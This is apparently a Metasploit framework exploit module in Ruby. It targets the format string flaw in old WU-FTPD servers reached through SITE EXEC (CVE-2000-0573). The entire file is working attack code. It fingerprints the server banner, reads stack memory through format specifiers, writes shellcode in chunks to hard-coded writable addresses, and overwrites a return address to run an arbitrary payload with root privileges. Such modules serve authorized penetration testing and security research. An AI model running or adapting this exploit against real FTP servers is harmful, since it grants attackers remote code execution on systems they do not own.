##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::FormatString

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WU-FTPD SITE EXEC/INDEX Format String Vulnerability',
      'Description'    => %q{
          This module exploits a format string vulnerability in versions of the
        Washington University FTP server older than 2.6.1. By executing
        specially crafted SITE EXEC or SITE INDEX commands containing format
        specifiers, an attacker can corrupt memory and execute arbitrary code.
      },
      'Author'         => [ 'jduck' ],
      'References'     =>
        [
          ['CVE', '2000-0573'],
          ['OSVDB', '11805'],
          ['BID', '1387']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'PrependChrootBreak' => true
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          # format string max length
          'Space'    => 256,
          # NOTE: \xff's need to be doubled (per ftp/telnet stuff)
          'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f",
          'DisableNops'	=>  'True',
          'StackAdjustment' 	=> -1500
        },
      'Platform'       => [ 'linux' ],
      'Targets'        =>
      [
        #
        # Automatic targeting via fingerprinting
        #
        [ 'Automatic Targeting', { 'auto' => true }  ],

        #
        # specific targets
        #
        [	'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)',
          {
            'UseDPA' 	=> false,
            'PadBytes'	=> 3,
            'NumPops' 	=> 8,
            'AddrPops'  => 100,
            'Offset'    => -2088, 			# offset to stack return
            'Writable' 	=> 0xbfffde26, 	# stack, avoid badchars
            'FlowHook'	=> -1, # auto now... 0xbffff1e4		# stack return addr
          }
        ],
        # these aren't exploitable (using built-in, stripped down vsprintf, no %n)
        #[	'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)',
        #[	'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)',
        #[	'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)',
        [	'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)',
          {
            'UseDPA' 	=> true,
            'PadBytes'	=> 2,
            'NumPops' 	=> 276,
            'AddrPops'  => 2,
            'Offset'    => -17664, 			# offset to stack return
            'Writable' 	=> 0x806e726,		# bss
            #'Writable' 	=> 0xbfff0126,		# stack, avoid badchars
            'FlowHook'	=> -1, # auto now... 0xbfffb028		# stack return addr
            #'FlowHook'  => 0x806e1e0		# GOT of sprintf
          }
        ],

        #
        # this one will detect the parameters automagicly
        #
        [	'Debug',
          {
            'UseDPA' 	=> false,
            'PadBytes'	=> 0,
            'NumPops' 	=> 0,
            'AddrPops'  => -1,
            'Offset'    => -1,
            'Writable' 	=> 0x41414242, 	#
            'FlowHook'	=> 0x43434545		#
          }
        ],
      ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 22 2000'))
    register_options(
      [
        Opt::RPORT(21),
      ])
  end


  def check
    # NOTE: We don't care if the login failed here...
    ret = connect_login

    # We just want the banner to check against our targets..
    vprint_status("FTP Banner: #{banner.strip}")
    status = Exploit::CheckCode::Safe
    if banner =~ /Version wu-2\.(4|5)/
      status = Exploit::CheckCode::Appears
    elsif banner =~ /Version wu-2\.6\.0/
      status = Exploit::CheckCode::Appears
    end

    # If we've made it this far, we care if login succeeded.
    if (ret)
      # NOTE: vulnerable and exploitable might not mean the same thing here :)
      if not fmtstr_detect_vulnerable
        status = Exploit::CheckCode::Safe
      end
      if not fmtstr_detect_exploitable
        status = Exploit::CheckCode::Safe
      end
    end

    disconnect
    return status
  end


  def exploit

    if (not connect_login)
      fail_with(Failure::Unknown, 'Unable to authenticate')
    end

    # Use a copy of the target
    mytarget = target

    if (target['auto'])
      mytarget = nil

      print_status("Automatically detecting the target...")
      if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then
        print_status("FTP Banner: #{banner.strip}")
        version = m[1]
      else
        fail_with(Failure::NoTarget, "No matching target")
      end

      regexp = Regexp.escape(version)
      self.targets.each do |t|
        if (t.name =~ /#{regexp}/) then
          mytarget = t
          break
        end
      end

      if (not mytarget)
        fail_with(Failure::NoTarget, "No matching target")
      end

      print_status("Selected Target: #{mytarget.name}")
    else
      print_status("Trying target #{mytarget.name}...")
      if banner
        print_status("FTP Banner: #{banner.strip}")
      end
    end

    # proceed with chosen target...

    # detect stuff!
    if mytarget.name == "Debug"
      #fmtstr_set_caps(true, true)
      # dump the stack, so we can detect stuff magically
      print_status("Dumping the stack...")
      stack = Array.new
      extra = "aaaabbbb"
      1000.times do |x|
        dw = fmtstr_stack_read(x+1, extra)
        break if not dw
        stack << dw
      end

      stack_data = stack.pack('V*')
      print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data))

      # detect the number of pad bytes
      idx = stack_data.index("aaaabbbb")
      if not idx
        fail_with(Failure::Unknown, "Whoa, didn't find the static bytes on the stack!")
      end
      num_pad = 0
      num_pad = 4 - (idx % 4) if (idx % 4) > 0
      mytarget.opts['PadBytes'] = num_pad

      # calculate the number of pops needed to hit our addr
      num_pops = (idx + num_pad) / 4
      mytarget.opts['NumPops'] = num_pops
    else
      num_pad = mytarget['PadBytes']
      num_pops = mytarget['NumPops']
      sc_loc = mytarget['Writable']
      ret = mytarget['FlowHook']
    end

    print_status("Number of pad bytes: #{num_pad}")
    print_status("Number of pops: #{num_pops}")

    # debugging -> don't try it!
    return if mytarget.name == "Debug"

    #print_status("ATTACH!")
    #select(nil,nil,nil,5)

    fmtstr_detect_caps

    # compute the stack return address using the fmt to leak memory
    addr_pops = mytarget['AddrPops']
    offset = mytarget['Offset']
    if addr_pops > 0
      stackaddr = fmtstr_stack_read(addr_pops)
      print_status("Read %#x from offset %d" % [stackaddr, addr_pops])
      ret = stackaddr + offset
    end

    print_status("Writing shellcode to: %#x" % sc_loc)
    print_status("Hijacking control via %#x" % ret)


    # no extra bytes before the padding..
    num_start = 0

    # write shellcode to 'writable'
    arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget)

    # process it in groups of 24 (max ~400 bytes per command)
    sc_num = 1
    while arr.length > 0
      print_status("Sending part #{sc_num} of the payload...")
      sc_num += 1

      narr = arr.slice!(0..24)

      fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget)
      # a space allows the next part to start with a '/'
      fmtbuf[num_pad-1,1] = " "
      fmtbuf.gsub!(/\xff/, "\xff\xff")
      if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true)))
        if res[0,4] == "500 "
          fail_with(Failure::Unknown, "Something went wrong when uploading the payload...")
        end
      end
    end


    # write 'writable' addr to flowhook (execute shellcode)
    # NOTE: the resulting two writes must be done at the same time
    print_status("Attempting to write %#x to %#x.." % [sc_loc, ret])

    fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget)
    # a space allows the next part to start with a '/'
    fmtbuf[num_pad-1,1] = " "
    fmtbuf.gsub!(/\xff/, "\xff\xff")
    # don't wait for the response here :)
    res = send_cmd(['SITE', 'EXEC', fmtbuf], false)

    print_status("Your payload should have executed now...")
    handler
  end


  #
  # these two functions are used to read stack memory
  # (used by fmtstr_stack_read()
  #
  def trigger_fmt(fmtstr)
    return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2))
    send_cmd(['SITE', 'EXEC', 'x', fmtstr], true)
  end

  def extract_fmt_output(res)
    if (res =~ /^5.. /)
      #throw "Crap! Something went wrong while dumping the stack..."
      return nil
    end
    ret = res.strip.split(/\r?\n/)[0]
    ret = ret[6,ret.length]
    return ret
  end


end
